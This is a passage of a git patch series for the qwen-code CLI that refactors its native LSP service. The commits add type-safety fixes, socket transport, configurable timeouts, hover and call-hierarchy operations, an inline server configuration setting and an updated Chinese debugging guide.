'symbol', - kind: item?.kind ? String(item.kind) : undefined, - containerName: item?.containerName ?? item?.container, + name: (itemObj?.name ?? itemObj?.label ?? 'symbol') as string, + kind: itemObj?.kind ? String(itemObj.kind) : undefined, + containerName: itemObj?.containerName ?? itemObj?.container, location: { - uri: location.uri, + uri: locationObj.uri as string, range: { start: { - line: Number(range.start.line ?? 0), - character: Number(range.start.character ?? 0), + line: Number(start?.line ?? 0), + character: Number(start?.character ?? 0), }, end: { - line: Number(range.end.line ?? 0), - character: Number(range.end.character ?? 0), + line: Number(end?.line ?? 0), + character: Number(end?.character ?? 0), }, }, }, @@ -581,7 +599,7 @@ export class NativeLspService { args: ['--stdio'], transport: 'stdio', initializationOptions: {}, - rootUri: rootUri, + rootUri, trustRequired: true, }); } @@ -594,7 +612,7 @@ export class NativeLspService { args: [], transport: 'stdio', initializationOptions: {}, - rootUri: rootUri, + rootUri, trustRequired: true, }); } @@ -607,7 +625,7 @@ export class NativeLspService { args: [], transport: 'stdio', initializationOptions: {}, - rootUri: rootUri, + rootUri, trustRequired: true, }); } @@ -633,7 +651,7 @@ export class NativeLspService { if (userConfig && typeof userConfig === 'object') { for (const [langId, serverSpec] of Object.entries(userConfig) as [ string, - any, + Record, ]) { // 转换为文件 URI 格式 const rootUri = pathToFileURL(this.workspaceRoot).toString(); @@ -651,7 +669,7 @@ export class NativeLspService { args: serverSpec.args || [], transport: serverSpec.transport || 'stdio', initializationOptions: serverSpec.initializationOptions, - rootUri: rootUri, + rootUri, trustRequired: serverSpec.trustRequired ?? true, }; @@ -715,7 +733,12 @@ export class NativeLspService { } // 检查路径安全性 - if (!this.isPathSafe(handle.config.command, (this.config as any).cwd)) { + if ( + !this.isPathSafe( + handle.config.command, + (this.config as { cwd: string }).cwd, + ) + ) { console.warn( `LSP 服务器 ${name} 的命令路径不安全: ${handle.config.command}`, ); @@ -773,7 +796,7 @@ export class NativeLspService { process: ChildProcess; shutdown: () => Promise; exit: () => void; - initialize: (params: any) => Promise; + initialize: (params: unknown) => Promise; }> { if (config.transport === 'stdio') { // 修复：使用 cwd 作为 cwd 而不是 rootUri @@ -795,9 +818,8 @@ export class NativeLspService { } lspConnection.connection.end(); }, - initialize: async (params: any) => { - return lspConnection.connection.initialize(params); - }, + initialize: async (params: unknown) => + lspConnection.connection.initialize(params), }; } else if (config.transport === 'tcp') { // 如果需要 TCP 支持，可以扩展此部分 @@ -866,7 +888,9 @@ export class NativeLspService { const tsFile = this.findFirstTypescriptFile(); if (tsFile) { const uri = pathToFileURL(tsFile).toString(); - const languageId = tsFile.endsWith('.tsx') ? 'typescriptreact' : 'typescript'; + const languageId = tsFile.endsWith('.tsx') + ? 'typescriptreact' + : 'typescript'; const text = fs.readFileSync(tsFile, 'utf-8'); connection.connection.send({ jsonrpc: '2.0', @@ -1013,15 +1037,15 @@ export class NativeLspService { return handle.config.name.includes('typescript'); } - private isNoProjectErrorResponse(response: any): boolean { + private isNoProjectErrorResponse(response: unknown): boolean { if (!response) { return false; } const message = typeof response === 'string' ? response - : typeof response?.message === 'string' - ? response.message + : typeof (response as Record)?.message === 'string' + ? ((response as Record).message as string) : ''; return message.includes('No Project'); } diff --git a/packages/core/src/lsp/types.ts b/packages/core/src/lsp/types.ts index 2a412d660..309ad43b9 100644 --- a/packages/core/src/lsp/types.ts +++ b/packages/core/src/lsp/types.ts @@ -31,9 +31,13 @@ export interface LspSymbolInformation { serverName?: string; } -export interface LspReference extends LspLocationWithServer {} +export interface LspReference extends LspLocationWithServer { + readonly serverName?: string; +} -export interface LspDefinition extends LspLocationWithServer {} +export interface LspDefinition extends LspLocationWithServer { + readonly serverName?: string; +} export interface LspClient { workspaceSymbols( diff --git a/packages/core/src/tools/lsp-find-references.ts b/packages/core/src/tools/lsp-find-references.ts index 078586e49..5f7127dba 100644 --- a/packages/core/src/tools/lsp-find-references.ts +++ b/packages/core/src/tools/lsp-find-references.ts @@ -10,11 +10,7 @@ import type { ToolInvocation, ToolResult } from './tools.js'; import { BaseDeclarativeTool, BaseToolInvocation, Kind } from './tools.js'; import { ToolDisplayNames, ToolNames } from './tool-names.js'; import type { Config } from '../config/config.js'; -import type { - LspClient, - LspLocation, - LspReference, -} from '../lsp/types.js'; +import type { LspClient, LspLocation, LspReference } from '../lsp/types.js'; export interface LspFindReferencesParams { /** @@ -121,9 +117,12 @@ class LspFindReferencesInvocation extends BaseToolInvocation< } const workspaceRoot = this.config.getProjectRoot(); - const lines = references.slice(0, limit).map((reference, index) => { - return `${index + 1}. ${this.formatLocation(reference, workspaceRoot)}`; - }); + const lines = references + .slice(0, limit) + .map( + (reference, index) => + `${index + 1}. ${this.formatLocation(reference, workspaceRoot)}`, + ); const heading = `References for ${target.description}:`; return { diff --git a/packages/core/src/tools/lsp-go-to-definition.ts b/packages/core/src/tools/lsp-go-to-definition.ts index cfbc92d32..54e093545 100644 --- a/packages/core/src/tools/lsp-go-to-definition.ts +++ b/packages/core/src/tools/lsp-go-to-definition.ts @@ -10,11 +10,7 @@ import type { ToolInvocation, ToolResult } from './tools.js'; import { BaseDeclarativeTool, BaseToolInvocation, Kind } from './tools.js'; import { ToolDisplayNames, ToolNames } from './tool-names.js'; import type { Config } from '../config/config.js'; -import type { - LspClient, - LspDefinition, - LspLocation, -} from '../lsp/types.js'; +import type { LspClient, LspDefinition, LspLocation } from '../lsp/types.js'; export interface LspGoToDefinitionParams { /** @@ -126,9 +122,12 @@ class LspGoToDefinitionInvocation extends BaseToolInvocation< } const workspaceRoot = this.config.getProjectRoot(); - const lines = definitions.slice(0, limit).map((definition, index) => { - return `${index + 1}. ${this.formatLocation(definition, workspaceRoot)}`; - }); + const lines = definitions + .slice(0, limit) + .map( + (definition, index) => + `${index + 1}. ${this.formatLocation(definition, workspaceRoot)}`, + ); const heading = `Definitions for ${target.description}:`; return { From c4e6c096dce3269337c40ddfa107b9e79534eac1 Mon Sep 17 00:00:00 2001 From: yiliang114 <1204183885@qq.com> Date: Wed, 7 Jan 2026 19:59:19 +0800 Subject: [PATCH 05/79] feat(cli): improve LSP service implementation with type safety and iteration fixes - Fix iteration over Map and Set collections by using Array.from() to avoid potential modification during iteration issues - Add proper type casting for test mocks to ensure type safety - Add null checks and type guards for LSP reference and symbol processing - Improve type annotations for LSP server status and configuration objects - Update path validation to use workspace root instead of config.cwd These changes improve the robustness and type safety of the LSP service implementation. --- .../src/services/lsp/LspConnectionFactory.ts | 2 +- .../src/services/lsp/NativeLspService.test.ts | 8 +- .../cli/src/services/lsp/NativeLspService.ts | 136 ++++++++++-------- 3 files changed, 84 insertions(+), 62 deletions(-) diff --git a/packages/cli/src/services/lsp/LspConnectionFactory.ts b/packages/cli/src/services/lsp/LspConnectionFactory.ts index ccee42d06..9f2e4c9b8 100644 --- a/packages/cli/src/services/lsp/LspConnectionFactory.ts +++ b/packages/cli/src/services/lsp/LspConnectionFactory.ts @@ -214,7 +214,7 @@ class JsonRpcConnection { } private disposePending(error?: Error): void { - for (const [, pending] of this.pendingRequests) { + for (const [, pending] of Array.from(this.pendingRequests)) { clearTimeout(pending.timer); pending.reject(error ?? new Error('LSP connection closed')); } diff --git a/packages/cli/src/services/lsp/NativeLspService.test.ts b/packages/cli/src/services/lsp/NativeLspService.test.ts index c6479bfbb..acac65b98 100644 --- a/packages/cli/src/services/lsp/NativeLspService.test.ts +++ b/packages/cli/src/services/lsp/NativeLspService.test.ts @@ -87,11 +87,11 @@ describe('NativeLspService', () => { eventEmitter = new EventEmitter(); lspService = new NativeLspService( - mockConfig as MockConfig, - mockWorkspace as MockWorkspaceContext, + mockConfig as unknown as CoreConfig, + mockWorkspace as unknown as WorkspaceContext, eventEmitter, - mockFileDiscovery as MockFileDiscoveryService, - mockIdeStore as MockIdeContextStore, + mockFileDiscovery as unknown as FileDiscoveryService, + mockIdeStore as unknown as IdeContextStore, ); }); diff --git a/packages/cli/src/services/lsp/NativeLspService.ts b/packages/cli/src/services/lsp/NativeLspService.ts index f15f2b2b5..fe2da4498 100644 --- a/packages/cli/src/services/lsp/NativeLspService.ts +++ b/packages/cli/src/services/lsp/NativeLspService.ts @@ -117,7 +117,7 @@ export class NativeLspService { for (const config of serverConfigs) { this.serverHandles.set(config.name, { config, - status: 'NOT_STARTED', + status: 'NOT_STARTED' as LspServerStatus, }); } } @@ -126,7 +126,7 @@ export class NativeLspService { * 启动所有 LSP 服务器 */ async start(): Promise { - for (const [name, handle] of this.serverHandles) { + for (const [name, handle] of Array.from(this.serverHandles)) { await this.startServer(name, handle); } } @@ -135,7 +135,7 @@ export class NativeLspService { * 停止所有 LSP 服务器 */ async stop(): Promise { - for (const [name, handle] of this.serverHandles) { + for (const [name, handle] of Array.from(this.serverHandles)) { await this.stopServer(name, handle); } this.serverHandles.clear(); @@ -146,7 +146,7 @@ export class NativeLspService { */ getStatus(): Map { const statusMap = new Map(); - for (const [name, handle] of this.serverHandles) { + for (const [name, handle] of Array.from(this.serverHandles)) { statusMap.set(name, handle.status); } return statusMap; @@ -161,7 +161,7 @@ export class NativeLspService { ): Promise { const results: LspSymbolInformation[] = []; - for (const [serverName, handle] of this.serverHandles) { + for (const [serverName, handle] of Array.from(this.serverHandles)) { if (handle.status !== 'READY' || !handle.connection) { continue; } @@ -348,7 +348,7 @@ export class NativeLspService { // 统计不同语言的文件数量 const languageCounts = new Map(); - for (const file of files) { + for (const file of Array.from(files)) { const ext = path.extname(file).slice(1).toLowerCase(); if (ext) { const lang = this.mapExtensionToLanguage(ext); @@ -466,27 +466,33 @@ export class NativeLspService { item: unknown, serverName: string, ): LspReference | null { + if (!item || typeof item !== 'object') { + return null; + } + const itemObj = item as Record; - const uri = - itemObj?.uri ?? - itemObj?.targetUri ?? - (itemObj?.target as Record)?.uri; - const range = - itemObj?.range ?? - itemObj?.targetSelectionRange ?? - itemObj?.targetRange ?? - (itemObj?.target as Record)?.range; + const uri = (itemObj['uri'] ?? + itemObj['targetUri'] ?? + (itemObj['target'] as Record)?.['uri']) as + | string + | undefined; + + const range = (itemObj['range'] ?? + itemObj['targetSelectionRange'] ?? + itemObj['targetRange'] ?? + (itemObj['target'] as Record)?.['range']) as + | { start?: unknown; end?: unknown } + | undefined; if (!uri || !range?.start || !range?.end) { return null; } - const rangeObj = range as Record; - const start = rangeObj.start as { line?: number; character?: number }; - const end = rangeObj.end as { line?: number; character?: number }; + const start = range.start as { line?: number; character?: number }; + const end = range.end as { line?: number; character?: number }; return { - uri: uri as string, + uri, range: { start: { line: Number(start?.line ?? 0), @@ -505,29 +511,37 @@ export class NativeLspService { item: unknown, serverName: string, ): LspSymbolInformation | null { - const itemObj = item as Record; - const location = itemObj?.location ?? itemObj?.target ?? item; - const locationObj = location as Record; - const range = - locationObj?.range ?? - locationObj?.targetRange ?? - itemObj?.range ?? - undefined; - - if (!locationObj?.uri || !range?.start || !range?.end) { + if (!item || typeof item !== 'object') { return null; } - const rangeObj = range as Record; - const start = rangeObj.start as { line?: number; character?: number }; - const end = rangeObj.end as { line?: number; character?: number }; + const itemObj = item as Record; + const location = itemObj['location'] ?? itemObj['target'] ?? item; + if (!location || typeof location !== 'object') { + return null; + } + + const locationObj = location as Record; + const range = (locationObj['range'] ?? + locationObj['targetRange'] ?? + itemObj['range'] ?? + undefined) as { start?: unknown; end?: unknown } | undefined; + + if (!locationObj['uri'] || !range?.start || !range?.end) { + return null; + } + + const start = range.start as { line?: number; character?: number }; + const end = range.end as { line?: number; character?: number }; return { - name: (itemObj?.name ?? itemObj?.label ?? 'symbol') as string, - kind: itemObj?.kind ? String(itemObj.kind) : undefined, - containerName: itemObj?.containerName ?? itemObj?.container, + name: (itemObj['name'] ?? itemObj['label'] ?? 'symbol') as string, + kind: itemObj['kind'] ? String(itemObj['kind']) : undefined, + containerName: (itemObj['containerName'] ?? itemObj['container']) as + | string + | undefined, location: { - uri: locationObj.uri as string, + uri: locationObj['uri'] as string, range: { start: { line: Number(start?.line ?? 0), @@ -649,28 +663,41 @@ export class NativeLspService { // 验证并转换用户配置为内部格式 if (userConfig && typeof userConfig === 'object') { - for (const [langId, serverSpec] of Object.entries(userConfig) as [ - string, - Record, - ]) { + for (const [langId, serverSpec] of Object.entries( + userConfig, + ) as Array<[string, Record]>) { // 转换为文件 URI 格式 const rootUri = pathToFileURL(this.workspaceRoot).toString(); - // 验证 command 不为 undefined - if (!serverSpec.command) { - console.warn(`LSP 配置错误: ${langId} 缺少 command 属性`); + // 驗證 command 不為 undefined + if (!(serverSpec as Record)['command']) { + console.warn(`LSP 配置錯誤: ${langId} 缺少 command 屬性`); continue; } const serverConfig: LspServerConfig = { - name: serverSpec.command, + name: (serverSpec as Record)[ + 'command' + ] as string, languages: [langId], - command: serverSpec.command, - args: serverSpec.args || [], - transport: serverSpec.transport || 'stdio', - initializationOptions: serverSpec.initializationOptions, + command: (serverSpec as Record)[ + 'command' + ] as string, + args: + ((serverSpec as Record)['args'] as string[]) || + [], + transport: + ((serverSpec as Record)['transport'] as + | 'stdio' + | 'tcp') || 'stdio', + initializationOptions: (serverSpec as Record)[ + 'initializationOptions' + ] as LspInitializationOptions, rootUri, - trustRequired: serverSpec.trustRequired ?? true, + trustRequired: + ((serverSpec as Record)[ + 'trustRequired' + ] as boolean) ?? true, }; configs.push(serverConfig); @@ -733,12 +760,7 @@ export class NativeLspService { } // 检查路径安全性 - if ( - !this.isPathSafe( - handle.config.command, - (this.config as { cwd: string }).cwd, - ) - ) { + if (!this.isPathSafe(handle.config.command, this.workspaceRoot)) { console.warn( `LSP 服务器 ${name} 的命令路径不安全: ${handle.config.command}`, ); @@ -1044,8 +1066,8 @@ export class NativeLspService { const message = typeof response === 'string' ? response - : typeof (response as Record)?.message === 'string' - ? ((response as Record).message as string) + : typeof (response as Record)['message'] === 'string' + ? ((response as Record)['message'] as string) : ''; return message.includes('No Project'); } From d9328fa478e47bb92d118f0b894b0904804c9e91 Mon Sep 17 00:00:00 2001 From: yiliang114 <1204183885@qq.com> Date: Sun, 18 Jan 2026 19:34:17 +0800 Subject: [PATCH 06/79] =?UTF-8?q?feat:=20=E7=BB=9F=E4=B8=80LSP=E5=B7=A5?= =?UTF-8?q?=E5=85=B7=E5=B9=B6=E6=89=A9=E5=B1=95=E6=93=8D=E4=BD=9C=E6=94=AF?= =?UTF-8?q?=E6=8C=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - 创建统一的LSP工具，整合了之前的多个分散LSP工具 - 增加对更多LSP操作的支持，包括hover、documentSymbol、goToImplementation等 - 扩展LSP类型定义，支持Call Hierarchy等高级功能 - 更新配置和测试文件以适配新的LSP工具架构 - 保持向后兼容性，同时引入新工具名称映射 Co-authored-by: Qwen-Coder 此更改是LSP工具重构计划的一部分，旨在提供更统一和功能完备的LSP集成体验。 --- packages/cli/LSP_DEBUGGING_GUIDE.md | 39 +- packages/cli/src/config/config.test.ts | 59 +- packages/cli/src/config/config.ts | 63 + packages/cli/src/config/settingsSchema.ts | 11 + .../src/services/lsp/LspConnectionFactory.ts | 36 +- .../src/services/lsp/NativeLspService.test.ts | 6 + .../cli/src/services/lsp/NativeLspService.ts | 1456 +++++++++++++++-- packages/core/src/config/config.ts | 4 + packages/core/src/lsp/types.ts | 120 ++ packages/core/src/tools/lsp.test.ts | 1220 ++++++++++++++ packages/core/src/tools/lsp.ts | 960 +++++++++++ packages/core/src/tools/tool-names.ts | 4 + .../LSP_REFACTORING_PLAN.md | 255 +++ 13 files changed, 4092 insertions(+), 141 deletions(-) create mode 100644 packages/core/src/tools/lsp.test.ts create mode 100644 packages/core/src/tools/lsp.ts create mode 100644 packages/vscode-ide-companion/LSP_REFACTORING_PLAN.md diff --git a/packages/cli/LSP_DEBUGGING_GUIDE.md b/packages/cli/LSP_DEBUGGING_GUIDE.md index 7833e8b87..75c018ecf 100644 --- a/packages/cli/LSP_DEBUGGING_GUIDE.md +++ b/packages/cli/LSP_DEBUGGING_GUIDE.md @@ -24,6 +24,7 @@ LSP 功能通过设置系统配置，包含以下选项： - `lsp.excluded`: 排除的 LSP 服务器名称黑名单 在 settings.json 中的示例配置： + ```json { "lsp": { @@ -34,20 +35,26 @@ LSP 功能通过设置系统配置，包含以下选项： } ``` +也可以在 `settings.json` 中配置 `lsp.languageServers`，格式与 `.lsp.json` 一致。 + ## 3. NativeLspService 调试功能 `NativeLspService` 类包含几个调试功能： ### 3.1 控制台日志 + 服务向控制台输出状态消息： + - `LSP 服务器 ${name} 启动成功` - 服务器成功启动 - `LSP 服务器 ${name} 启动失败` - 服务器启动失败 - `工作区不受信任，跳过 LSP 服务器发现` - 工作区不受信任，跳过发现 ### 3.2 错误处理 + 服务具有全面的错误处理和详细的错误消息 ### 3.3 状态跟踪 + 您可以通过 `getStatus()` 方法检查所有 LSP 服务器的状态 ## 4. 调试命令 @@ -62,7 +69,30 @@ qwen --debug --prompt "调试 LSP 功能" ## 5. 手动 LSP 服务器配置 -您还可以在项目根目录使用 `.lsp.json` 文件手动配置 LSP 服务器： +您还可以在项目根目录使用 `.lsp.json` 文件手动配置 LSP 服务器。 +推荐使用新格式（以服务器名称为键），旧格式仍然兼容但会提示迁移： + +```json +{ + "languageServers": { + "pylsp": { + "command": "pylsp", + "args": [], + "languages": ["python"], + "transport": "stdio", + "settings": {}, + "workspaceFolder": null, + "startupTimeout": 10000, + "shutdownTimeout": 3000, + "restartOnCrash": true, + "maxRestarts": 3, + "trustRequired": true + } + } +} +``` + +旧格式示例： ```json { @@ -78,15 +108,18 @@ qwen --debug --prompt "调试 LSP 功能" ## 6. LSP 问题排查 ### 6.1 检查 LSP 服务器是否已安装 + - 对于 TypeScript/JavaScript: `typescript-language-server` -- 对于 Python: `pylsp` +- 对于 Python: `pylsp` - 对于 Go: `gopls` ### 6.2 验证工作区信任 + - LSP 服务器可能需要受信任的工作区才能启动 - 检查 `security.folderTrust.enabled` 设置 ### 6.3 查看日志 + - 查找以 `LSP 服务器` 开头的控制台消息 - 检查命令存在性和路径安全性问题 @@ -104,4 +137,4 @@ LSP 服务的启动遵循以下流程： - 使用 `--debug` 标志查看详细的启动过程 - 检查工作区是否受信任（影响 LSP 服务器启动） - 确认 LSP 服务器命令在系统 PATH 中可用 -- 使用 `getStatus()` 方法监控服务器运行状态 \ No newline at end of file +- 使用 `getStatus()` 方法监控服务器运行状态 diff --git a/packages/cli/src/config/config.test.ts b/packages/cli/src/config/config.test.ts index cce32b209..1aaa521b8 100644 --- a/packages/cli/src/config/config.test.ts +++ b/packages/cli/src/config/config.test.ts @@ -20,22 +20,24 @@ import { ExtensionStorage, type Extension } from './extension.js'; import * as ServerConfig from '@qwen-code/qwen-code-core'; import { isWorkspaceTrusted } from './trustedFolders.js'; import { ExtensionEnablementManager } from './extensions/extensionEnablement.js'; +import { NativeLspService } from '../services/lsp/NativeLspService.js'; -const mockDiscoverAndPrepare = vi.fn(); -const mockStartLsp = vi.fn(); -const mockDefinitions = vi.fn().mockResolvedValue([]); -const mockReferences = vi.fn().mockResolvedValue([]); -const mockWorkspaceSymbols = vi.fn().mockResolvedValue([]); -const nativeLspServiceMock = vi.fn().mockImplementation(() => ({ - discoverAndPrepare: mockDiscoverAndPrepare, - start: mockStartLsp, - definitions: mockDefinitions, - references: mockReferences, - workspaceSymbols: mockWorkspaceSymbols, -})); +const createNativeLspServiceInstance = () => ({ + discoverAndPrepare: vi.fn(), + start: vi.fn(), + definitions: vi.fn().mockResolvedValue([]), + references: vi.fn().mockResolvedValue([]), + workspaceSymbols: vi.fn().mockResolvedValue([]), +}); vi.mock('../services/lsp/NativeLspService.js', () => ({ - NativeLspService: nativeLspServiceMock, + NativeLspService: vi.fn().mockImplementation(() => ({ + discoverAndPrepare: vi.fn(), + start: vi.fn(), + definitions: vi.fn().mockResolvedValue([]), + references: vi.fn().mockResolvedValue([]), + workspaceSymbols: vi.fn().mockResolvedValue([]), + })), })); vi.mock('./trustedFolders.js', () => ({ @@ -44,6 +46,17 @@ vi.mock('./trustedFolders.js', () => ({ .mockReturnValue({ isTrusted: true, source: 'file' }), // Default to trusted })); +const nativeLspServiceMock = vi.mocked(NativeLspService); +const getLastLspInstance = () => { + const results = nativeLspServiceMock.mock.results; + if (results.length === 0) { + return undefined; + } + return results[results.length - 1]?.value as ReturnType< + typeof createNativeLspServiceInstance + >; +}; + vi.mock('fs', async (importOriginal) => { const actualFs = await importOriginal(); const pathMod = await import('node:path'); @@ -533,16 +546,10 @@ describe('loadCliConfig', () => { beforeEach(() => { vi.resetAllMocks(); - mockDiscoverAndPrepare.mockReset(); - mockStartLsp.mockReset(); - mockWorkspaceSymbols.mockReset(); - mockWorkspaceSymbols.mockResolvedValue([]); nativeLspServiceMock.mockReset(); - nativeLspServiceMock.mockImplementation(() => ({ - discoverAndPrepare: mockDiscoverAndPrepare, - start: mockStartLsp, - workspaceSymbols: mockWorkspaceSymbols, - })); + nativeLspServiceMock.mockImplementation(() => + createNativeLspServiceInstance(), + ); vi.mocked(os.homedir).mockReturnValue('/mock/home/user'); vi.stubEnv('GEMINI_API_KEY', 'test-api-key'); }); @@ -637,8 +644,10 @@ describe('loadCliConfig', () => { expect(config.getLspAllowed()).toEqual(['typescript-language-server']); expect(config.getLspExcluded()).toEqual(['pylsp']); expect(nativeLspServiceMock).toHaveBeenCalledTimes(1); - expect(mockDiscoverAndPrepare).toHaveBeenCalledTimes(1); - expect(mockStartLsp).toHaveBeenCalledTimes(1); + const lspInstance = getLastLspInstance(); + expect(lspInstance).toBeDefined(); + expect(lspInstance?.discoverAndPrepare).toHaveBeenCalledTimes(1); + expect(lspInstance?.start).toHaveBeenCalledTimes(1); const options = nativeLspServiceMock.mock.calls[0][5]; expect(options?.allowedServers).toEqual(['typescript-language-server']); @@ -664,7 +673,7 @@ describe('loadCliConfig', () => { expect(config.isLspEnabled()).toBe(true); expect(nativeLspServiceMock).not.toHaveBeenCalled(); - expect(mockDiscoverAndPrepare).not.toHaveBeenCalled(); + expect(getLastLspInstance()).toBeUndefined(); }); it('should set showMemoryUsage to false by default from settings if CLI flag is not present', async () => { diff --git a/packages/cli/src/config/config.ts b/packages/cli/src/config/config.ts index 4fdf08079..214e923c9 100755 --- a/packages/cli/src/config/config.ts +++ b/packages/cli/src/config/config.ts @@ -193,6 +193,67 @@ class NativeLspClient implements LspClient { limit, ); } + + /** + * Get hover information (documentation, type info) for a symbol. + */ + hover( + location: Parameters[0], + serverName?: string, + ) { + return this.service.hover(location, serverName); + } + + /** + * Get all symbols in a document. + */ + documentSymbols(uri: string, serverName?: string, limit?: number) { + return this.service.documentSymbols(uri, serverName, limit); + } + + /** + * Find implementations of an interface or abstract method. + */ + implementations( + location: Parameters[0], + serverName?: string, + limit?: number, + ) { + return this.service.implementations(location, serverName, limit); + } + + /** + * Prepare call hierarchy item at a position (functions/methods). + */ + prepareCallHierarchy( + location: Parameters[0], + serverName?: string, + limit?: number, + ) { + return this.service.prepareCallHierarchy(location, serverName, limit); + } + + /** + * Find all functions/methods that call the given function. + */ + incomingCalls( + item: Parameters[0], + serverName?: string, + limit?: number, + ) { + return this.service.incomingCalls(item, serverName, limit); + } + + /** + * Find all functions/methods called by the given function. + */ + outgoingCalls( + item: Parameters[0], + serverName?: string, + limit?: number, + ) { + return this.service.outgoingCalls(item, serverName, limit); + } } function normalizeOutputFormat( @@ -812,6 +873,7 @@ export async function loadCliConfig( const lspEnabled = settings.lsp?.enabled ?? false; const lspAllowed = settings.lsp?.allowed ?? settings.mcp?.allowed; const lspExcluded = settings.lsp?.excluded ?? settings.mcp?.excluded; + const lspLanguageServers = settings.lsp?.languageServers; let lspClient: LspClient | undefined; const question = argv.promptInteractive || argv.prompt || ''; const inputFormat: InputFormat = @@ -1149,6 +1211,7 @@ export async function loadCliConfig( allowedServers: lspAllowed, excludedServers: lspExcluded, requireTrustedWorkspace: folderTrust, + inlineServerConfigs: lspLanguageServers, }, ); diff --git a/packages/cli/src/config/settingsSchema.ts b/packages/cli/src/config/settingsSchema.ts index a70590fe8..585e574f2 100644 --- a/packages/cli/src/config/settingsSchema.ts +++ b/packages/cli/src/config/settingsSchema.ts @@ -1083,6 +1083,17 @@ const SETTINGS_SCHEMA = { 'Optional blocklist of LSP server names that should not start.', showInDialog: false, }, + languageServers: { + type: 'object', + label: 'LSP Language Servers', + category: 'LSP', + requiresRestart: true, + default: {} as Record, + description: + 'Inline LSP server configuration (same format as .lsp.json).', + showInDialog: false, + mergeStrategy: MergeStrategy.SHALLOW_MERGE, + }, }, }, useSmartEdit: { diff --git a/packages/cli/src/services/lsp/LspConnectionFactory.ts b/packages/cli/src/services/lsp/LspConnectionFactory.ts index 9f2e4c9b8..056afc91f 100644 --- a/packages/cli/src/services/lsp/LspConnectionFactory.ts +++ b/packages/cli/src/services/lsp/LspConnectionFactory.ts @@ -228,6 +228,12 @@ interface LspConnection { socket?: net.Socket; } +interface SocketConnectionOptions { + host?: string; + port?: number; + path?: string; +} + interface JsonRpcMessage { jsonrpc: string; id?: number | string; @@ -249,6 +255,7 @@ export class LspConnectionFactory { command: string, args: string[], options?: cp.SpawnOptions, + timeoutMs = 10000, ): Promise { return new Promise((resolve, reject) => { const spawnOptions: cp.SpawnOptions = { @@ -262,7 +269,7 @@ export class LspConnectionFactory { if (!processInstance.killed) { processInstance.kill(); } - }, 10000); + }, timeoutMs); processInstance.once('error', (error) => { clearTimeout(timeoutId); @@ -300,14 +307,37 @@ export class LspConnectionFactory { static async createTcpConnection( host: string, port: number, + timeoutMs = 10000, + ): Promise { + return LspConnectionFactory.createSocketConnection( + { host, port }, + timeoutMs, + ); + } + + /** + * 创建基于 socket 的 LSP 连接（支持 TCP 或 unix socket） + */ + static async createSocketConnection( + options: SocketConnectionOptions, + timeoutMs = 10000, ): Promise { return new Promise((resolve, reject) => { - const socket = net.createConnection({ host, port }); + const socketOptions = options.path + ? { path: options.path } + : { host: options.host ?? '127.0.0.1', port: options.port }; + + if (!('path' in socketOptions) && !socketOptions.port) { + reject(new Error('Socket transport requires port or path')); + return; + } + + const socket = net.createConnection(socketOptions); const timeoutId = setTimeout(() => { reject(new Error('LSP server connection timeout')); socket.destroy(); - }, 10000); + }, timeoutMs); const onError = (error: Error) => { clearTimeout(timeoutId); diff --git a/packages/cli/src/services/lsp/NativeLspService.test.ts b/packages/cli/src/services/lsp/NativeLspService.test.ts index acac65b98..5ee4eff29 100644 --- a/packages/cli/src/services/lsp/NativeLspService.test.ts +++ b/packages/cli/src/services/lsp/NativeLspService.test.ts @@ -1,5 +1,11 @@ import { NativeLspService } from './NativeLspService.js'; import { EventEmitter } from 'events'; +import type { + Config as CoreConfig, + WorkspaceContext, + FileDiscoveryService, + IdeContextStore, +} from '@qwen-code/qwen-code-core'; // 模拟依赖项 class MockConfig { diff --git a/packages/cli/src/services/lsp/NativeLspService.ts b/packages/cli/src/services/lsp/NativeLspService.ts index fe2da4498..77445a2f8 100644 --- a/packages/cli/src/services/lsp/NativeLspService.ts +++ b/packages/cli/src/services/lsp/NativeLspService.ts @@ -3,8 +3,13 @@ import type { WorkspaceContext, FileDiscoveryService, IdeContextStore, - LspLocation, + LspCallHierarchyIncomingCall, + LspCallHierarchyItem, + LspCallHierarchyOutgoingCall, LspDefinition, + LspHoverResult, + LspLocation, + LspRange, LspReference, LspSymbolInformation, } from '@qwen-code/qwen-code-core'; @@ -21,16 +26,31 @@ interface LspInitializationOptions { [key: string]: unknown; } +interface LspSocketOptions { + host?: string; + port?: number; + path?: string; +} + // 定义 LSP 服务器配置类型 interface LspServerConfig { name: string; languages: string[]; - command: string; - args: string[]; - transport: 'stdio' | 'tcp'; + command?: string; + args?: string[]; + transport: 'stdio' | 'tcp' | 'socket'; + env?: Record; initializationOptions?: LspInitializationOptions; + settings?: Record; + extensionToLanguage?: Record; rootUri: string; + workspaceFolder?: string; + startupTimeout?: number; + shutdownTimeout?: number; + restartOnCrash?: boolean; + maxRestarts?: number; trustRequired?: boolean; + socket?: LspSocketOptions; } // 定义 LSP 连接接口 @@ -56,13 +76,52 @@ interface LspServerHandle { process?: ChildProcess; error?: Error; warmedUp?: boolean; + stopRequested?: boolean; + restartAttempts?: number; } +/** + * Symbol kind labels for converting numeric LSP SymbolKind to readable strings. + * Based on the LSP specification: https://microsoft.github.io/language-server-protocol/specifications/lsp/3.17/specification/#symbolKind + */ +const SYMBOL_KIND_LABELS: Record = { + 1: 'File', + 2: 'Module', + 3: 'Namespace', + 4: 'Package', + 5: 'Class', + 6: 'Method', + 7: 'Property', + 8: 'Field', + 9: 'Constructor', + 10: 'Enum', + 11: 'Interface', + 12: 'Function', + 13: 'Variable', + 14: 'Constant', + 15: 'String', + 16: 'Number', + 17: 'Boolean', + 18: 'Array', + 19: 'Object', + 20: 'Key', + 21: 'Null', + 22: 'EnumMember', + 23: 'Struct', + 24: 'Event', + 25: 'Operator', + 26: 'TypeParameter', +}; + +const DEFAULT_LSP_STARTUP_TIMEOUT_MS = 10000; +const DEFAULT_LSP_MAX_RESTARTS = 3; + interface NativeLspServiceOptions { allowedServers?: string[]; excludedServers?: string[]; requireTrustedWorkspace?: boolean; workspaceRoot?: string; + inlineServerConfigs?: Record; } export class NativeLspService { @@ -74,6 +133,8 @@ export class NativeLspService { private excludedServers?: string[]; private requireTrustedWorkspace: boolean; private workspaceRoot: string; + private inlineServerConfigs?: Record; + private warnedLegacyConfig = false; constructor( config: CoreConfig, @@ -92,6 +153,7 @@ export class NativeLspService { this.workspaceRoot = options.workspaceRoot ?? (config as { getProjectRoot: () => string }).getProjectRoot(); + this.inlineServerConfigs = options.inlineServerConfigs; } /** @@ -108,10 +170,13 @@ export class NativeLspService { } // 检测工作区中的语言 - const detectedLanguages = await this.detectLanguages(); + const userConfigs 